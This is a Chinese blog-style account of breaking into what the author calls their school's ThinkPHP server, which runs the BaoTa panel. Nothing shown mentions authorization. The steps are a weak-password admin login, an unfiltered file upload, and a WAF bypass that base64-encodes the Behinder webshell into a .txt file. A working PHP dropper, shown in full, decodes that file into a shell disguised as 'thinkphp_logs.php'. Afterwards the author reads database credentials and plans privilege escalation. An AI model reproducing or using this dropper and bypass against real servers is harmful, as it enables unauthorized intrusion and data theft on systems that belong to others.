一次上传练习

学校的一台thinkphp的服务器,安装了宝塔系统。现阶段只实现了上传,宝塔限制太严格了,命令执行不了。在尝试提权。
先是令人无语的把登录口令写在主页上。


然后url添加/admin直接找到后台,弱口令登录。
webrobot扫了扫端口,访问8080发现

好了,知道你安装宝塔了。

在后台看到添加信息页面,添加图片的地方会直接把tmp路径暴露出来。。

试着传了phpinfo上去,传上去了…上去了…去了…对后缀没有过滤,也没有拦截phpinfo函数…
但是再试着上传冰蝎shell的时候发现不行了,宝塔对很多特征函数做了拦截。(可是为什么偏偏没有拦截phpinfo,是在告诉大家这里有上传点吗XD)

这时思路是对冰蝎的shell进行base64编码,再保存成txt上传。然后上传一个读取文件内容的php,将txt的内容base64解码后在可访问路径保存成php文件。由于是相当于在服务器本地操作,所以可能不会被拦截。


再上传一个php文件,内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$path = "./";
$path = $path."d8b48da1723e56615e83b801dda79c06.txt";
echo $path;
//$fp = fopen("$path","r");
//$str = fread($fp,filesize($path));
$str = file_get_contents("$path","r");
$str = base64_decode($str);
echo $str;

$handle = fopen("./thinkphp_logs.php","w");
fwrite($handle,$str);
fclose($handle);
?>

上传成功。

访问这个php文件,就在当前的可访问目录下生成了解码后的shell.php。然后再冰蝎连接shell,成了。
但是命令执行权限被限制的死死的,接下来研究如何提权反弹shell。

找到数据库连接文件看到了用户名与密码,连接数据库。